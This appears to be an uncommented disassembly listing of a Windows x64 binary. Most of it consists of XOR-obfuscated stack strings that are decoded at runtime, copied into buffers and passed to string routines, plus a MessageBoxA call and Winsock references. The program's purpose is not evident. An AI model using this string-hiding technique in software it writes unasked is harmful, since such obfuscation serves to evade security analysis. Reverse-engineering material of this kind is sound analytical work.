lea rcx, [rbp + 0x56b0]
mov edx, 2
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006ad70
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0xea90]
call fcn.1400a5fd0
test al, al
je 0x14006b4a0
movabs rax, 0xf046b98b3afa14
mov qword [rbp + 0x2750], rax
movabs rax, 0x78502bfd1c07371f
mov qword [rbp + 0x2758], rax
xorps xmm2, xmm2
movabs rax, 0x709f29f5ee579b53
mov qword [rbp + 0x2770], rax
movabs rax, 0x78502bfd797f5231
mov qword [rbp + 0x2778], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2750]
pxor xmm0, xmmword [rbp + 0x2770]
movdqa xmmword [rbp + 0x89d0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x89e0], xmm1
lea rcx, [rbp + 0x8290]
lea rax, [rbp + 0x89d0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
mov qword [rbp + 0x800], r15
mov qword [rbp + 0x810], r15
mov qword [rbp + 0x818], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x8290]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006af10
lea rdx, [rbp + 0x8290]
lea rcx, [rbp + 0x800]
call fcn.14005a030
lea rax, [rbp + 0x800]
cmp qword [rbp + 0x818], 0x10
cmovae rax, qword [rbp + 0x800]
mov qword [rbp + 0xfa0], rax
mov rax, qword [rbp + 0x810]
mov qword [rbp + 0xfa8], rax
xor r8d, r8d
lea rdx, [rbp + 0xfa0]
lea rcx, [rbp + 0x3290]
call fcn.1400017f0
lea rcx, [rbp + 0x3290]
call fcn.14005c690
movzx ebx, al
lea rcx, [rbp + 0x3290]
call fcn.140059be0
lea rcx, [rbp + 0x800]
call fcn.14000b160
test bl, bl
jne 0x14006b1eb
movabs rax, 0xf0cff99ba80024e
mov qword [rbp + 0x2510], rax
movabs rax, 0x68ad020a5a4e0e7a
mov qword [rbp + 0x2518], rax
xorps xmm2, xmm2
movabs rax, 0x7f6390d5dfed6309
mov qword [rbp + 0x2530], rax
movabs rax, 0x68ad020a3f366b54
mov qword [rbp + 0x2538], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2510]
pxor xmm0, xmmword [rbp + 0x2530]
movdqa xmmword [rbp + 0x8360], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8370], xmm2
lea rcx, [rbp + 0x8830]
lea rax, [rbp + 0x8360]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
mov qword [rbp + 0x11e0], r15
mov qword [rbp + 0x11f0], r15
mov qword [rbp + 0x11f8], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x8830]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006b0c0
lea rdx, [rbp + 0x8830]
lea rcx, [rbp + 0x11e0]
call fcn.14005a030
movabs rax, 0x1b1dd58b6825832d
mov qword [rbp + 0xc20], rax
movabs rax, 0x1102bf3e23ed4bae
mov qword [rbp + 0xc28], rax
movabs rcx, 0x1b1de0b25c13b714
mov qword [rbp + 0xc30], rcx
mov qword [rbp + 0xc38], rax
movdqa xmm0, xmmword [rbp + 0xc30]
pxor xmm0, xmmword [rbp + 0xc20]
movaps xmmword [rbp + 0x3a10], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x3a20], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x3a30], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x3a40], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x3a50], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x3a60], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x3a70], xmm0
mov qword [rbp + 0x11c0], r15
mov qword [rbp + 0x11d0], r15
mov qword [rbp + 0x11d8], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x3a10]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006b1a0
lea rdx, [rbp + 0x3a10]
lea rcx, [rbp + 0x11c0]
call fcn.14005a030
lea rdx, [rbp + 0x14a40]
lea rcx, [rbp + 0x13020]
call fcn.140009d20
lea r8, [rbp + 0x11e0]
lea rdx, [rbp + 0x11c0]
mov rcx, rax
call fcn.1400560e0
jmp 0x14006b4a0
movabs rax, 0x4fa0037eb2
mov qword [rbp + 0xc40], rax
movabs rax, 0x2c9501913c7
mov qword [rbp + 0xc48], rax
movabs rcx, 0x4fa0442af0
mov qword [rbp + 0xc50], rcx
mov qword [rbp + 0xc58], rax
movdqa xmm0, xmmword [rbp + 0xc40]
pxor xmm0, xmmword [rbp + 0xc50]
movaps xmmword [rbp + 0x3ac0], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3ad0], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3ae0], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3af0], xmm0
movabs rax, 0x1c0e6e15465d0344
mov qword [rbp + 0x3590], rax
movabs rax, 0x565fc27ffef41bf
mov qword [rbp + 0x3598], rax
movabs rax, 0x14044770f934857d
mov qword [rbp + 0x35a0], rax
movabs rax, 0x5ef613ee7c1bc15b
mov qword [rbp + 0x35a8], rax
movabs rax, 0xebd62a0754e1803
mov qword [rbp + 0x35b0], rax
movabs rax, 0x396543f98eb69e6d
mov qword [rbp + 0x35b8], rax
movabs rax, 0x69d8770d4e0014c
mov qword [rbp + 0x35c0], rax
movabs rax, 0x1f5cdd3d45e02820
mov qword [rbp + 0x35c8], rax
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
movabs rcx, 0x6c61015923306203
mov qword [rbp + 0x3610], rcx
movabs rcx, 0x720a98079a972491
mov qword [rbp + 0x3618], rcx
movabs rcx, 0x34602214985be913
mov qword [rbp + 0x3620], rcx
movabs rcx, 0x3d936187183bae2f
mov qword [rbp + 0x3628], rcx
movabs rcx, 0x76d80c800c3c7777
mov qword [rbp + 0x3630], rcx
movabs rcx, 0x7e3101d9e1c2be19
mov qword [rbp + 0x3638], rcx
movabs rcx, 0x6efe214b58f4d6c
mov qword [rbp + 0x3640], rcx
mov qword [rbp + 0x3648], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x3610]
movdqa xmmword [rbp + 0xb410], xmm0
movdqa xmm1, xmmword [rbp + 0x3620]
pxor xmm1, xmmword [rbp + 0x35a0]
movdqa xmmword [rbp + 0xb420], xmm1
movdqa xmm0, xmmword [rbp + 0x3630]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0xb430], xmm0
movdqa xmm1, xmmword [rbp + 0x3640]
pxor xmm1, xmmword [rbp + 0x35c0]
movdqa xmmword [rbp + 0xb440], xmm1
pxor xmm2, xmm6
movdqa xmmword [rbp + 0xb450], xmm2
pxor xmm3, xmm7
movdqa xmmword [rbp + 0xb460], xmm3
pxor xmm4, xmm8
movdqa xmmword [rbp + 0xb470], xmm4
pxor xmm9, xmm5
movdqa xmmword [rbp + 0xb480], xmm9
lea rax, [rbp + 0x113d0]
lea rcx, [rbp + 0xb410]
mov edx, 7
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006b430
xor r9d, r9d
lea r8, [rbp + 0x3ac0]
lea rdx, [rbp + 0x113d0]
mov rcx, qword [0x1402007e8]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 0x2e8], 0x40400000
mov dword [rbp + 0x2ec], 0x41d80000
lea rcx, [rbp + 0x2e8]
call fcn.14008d5f0
mov dword [rbp + 0x2f0], 0x43560000
mov dword [rbp + 0x2f4], 0x41b00000
movabs rax, 0x1122181303f0552f
mov qword [rbp + 0x1fd0], rax
movabs rax, 0x1681540829277975
mov qword [rbp + 0x1fd8], rax
movabs rax, 0x7e44188e64
mov qword [rbp + 0x1fe0], rax
movabs rax, 0x703f9e9cdd3
mov qword [rbp + 0x1fe8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x7543777f6d873a6b
mov qword [rbp + 0x2010], rcx
movabs rcx, 0x73ef3b7844483a55
mov qword [rbp + 0x2018], rcx
movabs rcx, 0x7e446bfa0a
mov qword [rbp + 0x2020], rcx
mov qword [rbp + 0x2028], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1fd0]
pxor xmm0, xmmword [rbp + 0x2010]
movdqa xmmword [rbp + 0x7f50], xmm0
movdqa xmm1, xmmword [rbp + 0x2020]
pxor xmm1, xmmword [rbp + 0x1fe0]
movdqa xmmword [rbp + 0x7f60], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x7f70], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x7f80], xmm5
lea rax, [rbp + 0xe5b0]
lea rcx, [rbp + 0x7f50]
mov edx, 2
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006b5c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xe5b0]
call fcn.1400a5fd0
test al, al
je 0x14006c83a
movabs rax, 0x8e81f0f77147c98
mov qword [rbp + 0x2a50], rax
movabs rax, 0x7cce0d2e2a3a51b9
mov qword [rbp + 0x2a58], rax
xorps xmm2, xmm2
movabs rax, 0x668d7160077913db
mov qword [rbp + 0x2a70], rax
movabs rax, 0x7cce0d2e2a3a22cd
mov qword [rbp + 0x2a78], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2a50]
pxor xmm0, xmmword [rbp + 0x2a70]
movdqa xmmword [rbp + 0x7a40], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x7a50], xmm1
lea rcx, [rbp + 0x7870]
lea rax, [rbp + 0x7a40]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov qword [rbp + 0x7e0], r15
mov qword [rbp + 0x7f0], r15
mov qword [rbp + 0x7f8], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x7870]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006b756
lea rdx, [rbp + 0x7870]
lea rcx, [rbp + 0x7e0]
call fcn.14005a030
lea rax, [rbp + 0x7e0]
cmp qword [rbp + 0x7f8], 0x10
cmovae rax, qword [rbp + 0x7e0]
mov qword [rbp + 0xfb0], rax
mov rax, qword [rbp + 0x7f0]
mov qword [rbp + 0xfb8], rax
xor r8d, r8d
lea rdx, [rbp + 0xfb0]
lea rcx, [rbp + 0x3270]
call fcn.1400017f0
lea rcx, [rbp + 0x3270]
call fcn.14005c690
movzx ebx, al
lea rcx, [rbp + 0x3270]
call fcn.140059be0
lea rcx, [rbp + 0x7e0]
call fcn.14000b160
test bl, bl
jne 0x14006b84a
lea rax, str.Components
mov qword [rbp + 0xfc0], rax
mov qword [rbp + 0xfc8], 0xa
xor r8d, r8d
lea rdx, [rbp + 0xfc0]
lea rcx, [rbp + 0x1000]
call fcn.1400017f0
lea rcx, [rbp + 0x1000]
cmp qword [rbp + 0x1018], 8
cmovae rcx, qword [rbp + 0x1000]
call fcn.140107bb8
mov qword [rbp + 0x90], rax
shr rax, 0x20
test eax, eax
jne 0x140070ebf
lea rcx, [rbp + 0x1000]
call fcn.140059be0
movabs rax, 0xc3306a695d4ac71
mov qword [rbp + 0x1f50], rax
movabs rax, 0x1a75ade21b88312d
mov qword [rbp + 0x1f58], rax
movabs rax, 0x15f6d4780b133af
mov qword [rbp + 0x1f60], rax
movabs rax, 0x1413af9e74559bbf
mov qword [rbp + 0x1f68], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x625668c9e5b9c332
mov qword [rbp + 0x1f90], rcx
movabs rcx, 0x633dffa14dd44259
mov qword [rbp + 0x1f98], rcx
movabs rcx, 0x13a1522ae8505cd
mov qword [rbp + 0x1fa0], rcx
mov qword [rbp + 0x1fa8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1f90]
pxor xmm0, xmmword [rbp + 0x1f50]
movdqa xmmword [rbp + 0x8d80], xmm0
movdqa xmm1, xmmword [rbp + 0x1fa0]
pxor xmm1, xmmword [rbp + 0x1f60]
movdqa xmmword [rbp + 0x8d90], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x8da0], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x8db0], xmm3
lea rax, [rbp + 0xd3e0]
lea rcx, [rbp + 0x8d80]
mov edx, 3
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006b930
mov qword [rbp + 0x820], r15
mov qword [rbp + 0x830], r15
mov qword [rbp + 0x838], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0xd3e0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006b9b0
lea rdx, [rbp + 0xd3e0]
lea rcx, [rbp + 0x820]
call fcn.14005a030
lea rax, [rbp + 0x820]
cmp qword [rbp + 0x838], 0x10
cmovae rax, qword [rbp + 0x820]
mov qword [rbp + 0xfd0], rax
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0xfd8], rax
xor r8d, r8d
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0x1d70]
call fcn.1400017f0
lea rcx, [rbp + 0x1d70]
call fcn.14005c690
movzx ebx, al
lea rcx, [rbp + 0x1d70]
call fcn.140059be0
lea rcx, [rbp + 0x820]
call fcn.14000b160
test bl, bl
jne 0x14006bcd6
movabs rax, 0x8a23865e6f7fc45
mov qword [rbp + 0x1ed0], rax
movabs rax, 0x3ce0feca4b94240
mov qword [rbp + 0x1ed8], rax
movabs rax, 0x1503fc3b49afa0c9
mov qword [rbp + 0x1ee0], rax
movabs rax, 0xb6c9407421877fd
mov qword [rbp + 0x1ee8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x66c7560a969a9306
mov qword [rbp + 0x1f10], rcx
movabs rcx, 0x7a865daff2e53134
mov qword [rbp + 0x1f18], rcx
movabs rcx, 0x1566845e679b96ab
mov qword [rbp + 0x1f20], rcx
mov qword [rbp + 0x1f28], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1f10]
pxor xmm0, xmmword [rbp + 0x1ed0]
movdqa xmmword [rbp + 0x8f00], xmm0
movdqa xmm1, xmmword [rbp + 0x1ee0]
pxor xmm1, xmmword [rbp + 0x1f20]
movdqa xmmword [rbp + 0x8f10], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x8f20], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x8f30], xmm5
lea rax, [rbp + 0xd560]
lea rcx, [rbp + 0x8f00]
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006bb30
mov qword [rbp + 0x1140], r15
mov qword [rbp + 0x1150], r15
mov qword [rbp + 0x1158], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0xd560]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006bbb0
lea rdx, [rbp + 0xd560]
lea rcx, [rbp + 0x1140]
call fcn.14005a030
movabs rax, 0x182ba21753abae6f
mov qword [rbp + 0xc60], rax
movabs rax, 0x661128b0a5096ae
mov qword [rbp + 0xc68], rax
movabs rcx, 0x182b93256698995b
mov qword [rbp + 0xc70], rcx
mov qword [rbp + 0xc78], rax
movdqa xmm0, xmmword [rbp + 0xc60]
pxor xmm0, xmmword [rbp + 0xc70]
movaps xmmword [rbp + 0x39a0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x39b0], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x39c0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x39d0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x39e0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x39f0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x3a00], xmm0
mov qword [rbp + 0x1180], r15
mov qword [rbp + 0x1190], r15
mov qword [rbp + 0x1198], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x39a0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006bc90
lea rdx, [rbp + 0x39a0]
lea rcx, [rbp + 0x1180]
call fcn.14005a030
lea rdx, [rbp + 0x14a40]
lea rcx, [rbp + 0x12b30]
call fcn.140009d20
lea r8, [rbp + 0x1140]
lea rdx, [rbp + 0x1180]
mov rcx, rax
call fcn.1400560e0
movabs rax, 0x1d678a668a9db838
mov qword [rbp + 0x1e50], rax
movabs rax, 0xc8673639d7b4839
mov qword [rbp + 0x1e58], rax
movabs rax, 0x60aa7ac2cd42c44
mov qword [rbp + 0x1e60], rax
movabs rax, 0x7f386f1b011b4156
mov qword [rbp + 0x1e68], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7302e409faf0d77b
mov qword [rbp + 0x1e90], rax
movabs rax, 0x6ee3041bf9273b4d
mov qword [rbp + 0x1e98], rax
movabs rax, 0x7e6f89dc59a04937
mov qword [rbp + 0x1ea0], rax
movabs rax, 0x7f386f1b011b4133
mov qword [rbp + 0x1ea8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1e90]
pxor xmm0, xmmword [rbp + 0x1e50]
movdqa xmmword [rbp + 0x95e0], xmm0
movdqa xmm1, xmmword [rbp + 0x1e60]
pxor xmm1, xmmword [rbp + 0x1ea0]
movdqa xmmword [rbp + 0x95f0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x9600], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x9610], xmm5
lea rax, [rbp + 0xde50]
lea rcx, [rbp + 0x95e0]
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006bdd0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp + 0xc80], r15
mov qword [rbp + 0xc90], r15
mov qword [rbp + 0xc98], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0xde50]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006be60
lea rdx, [rbp + 0xde50]
lea rcx, [rbp + 0xc80]
call fcn.14005a030
xor r8d, r8d
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0x2450]
call fcn.1400012e0
lea rcx, [rbp + 0x2450]
call fcn.14005c690
movzx ebx, al
lea rcx, [rbp + 0x2450]
call fcn.140059be0
lea rcx, [rbp + 0xc80]
call fcn.14000b160
test bl, bl
jne 0x14006c0f1
movabs rax, 0x7dc0c054a017f12
mov qword [rbp + 0x1dd0], rax
movabs rax, 0x1d8be9fce1e02685
mov qword [rbp + 0x1dd8], rax
movabs rax, 0x1cb7a8647c129cbe
mov qword [rbp + 0x1de0], rax
movabs rax, 0x72b6a2217d053d62
mov qword [rbp + 0x1de8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x69b9626a3a6c1051
mov qword [rbp + 0x1e10], rax
movabs rax, 0x7fee9e8485bc55f1
mov qword [rbp + 0x1e18], rax
movabs rax, 0x64d286140966f9cd
mov qword [rbp + 0x1e20], rax
movabs rax, 0x72b6a2217d053d07
mov qword [rbp + 0x1e28], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1dd0]
pxor xmm0, xmmword [rbp + 0x1e10]
movdqa xmmword [rbp + 0x9440], xmm0
movdqa xmm1, xmmword [rbp + 0x1de0]
pxor xmm1, xmmword [rbp + 0x1e20]
movdqa xmmword [rbp + 0x9450], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x9460], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x9470], xmm5
lea rax, [rbp + 0x10170]
lea rcx, [rbp + 0x9440]
mov edx, 3
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006bfb1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rdx, [rbp + 0x10170]
lea rcx, [rbp + 0x57e0]
call fcn.140009160
mov rdi, rax
movabs rax, 0x1f7873f85e0476c2
mov qword [rbp + 0xca0], rax
movabs rax, 0x17f70b7a76266742
mov qword [rbp + 0xca8], rax
movabs rcx, 0x1f7844cc683446fa
mov qword [rbp + 0xcb0], rcx
mov qword [rbp + 0xcb8], rax
movdqa xmm0, xmmword [rbp + 0xcb0]
pxor xmm0, xmmword [rbp + 0xca0]
movaps xmmword [rbp + 0x4af0], xmm0
movaps xmm0, xmmword [rbp - 0x60]
